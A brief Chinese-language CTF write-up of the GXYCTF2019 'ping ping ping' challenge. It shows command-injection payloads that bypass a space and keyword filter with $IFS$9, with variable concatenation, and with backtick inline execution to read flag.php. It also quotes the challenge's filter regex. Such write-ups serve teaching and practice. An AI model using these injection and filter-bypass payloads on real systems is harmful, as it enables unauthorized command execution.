题目来源:GXYCTF2019
题目名称:ping ping ping
打开网页
这是一道命令执行的问题我们先pwd ls看看目录
经过测试发现 网站没有过滤|和;
我们直接cat一下flag.php
发现flag.php被过滤了 空格%20也被过滤了[我们使用$IFS$9来绕过]
我们cat$IFS$9index.php发现可以执行并查看到了源代码过滤了空格 bash 并且通配flag以及/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/
思路:
方法一:拼接绕过法
d=ag;x=fl;$x$d
payload:
/?ip=||d=ag;x=fl;cat$IFS$9$x$d.php
接着ctrl+u查看源代码得到flag
方法二:内联执行法
/?ip=||cat$IFS$6`ls`
使用内联执行会将 ``内的输出作为前面命令的输入 这里之前cat了flag.php和index.php
接着ctrl+u查看源代码得到flag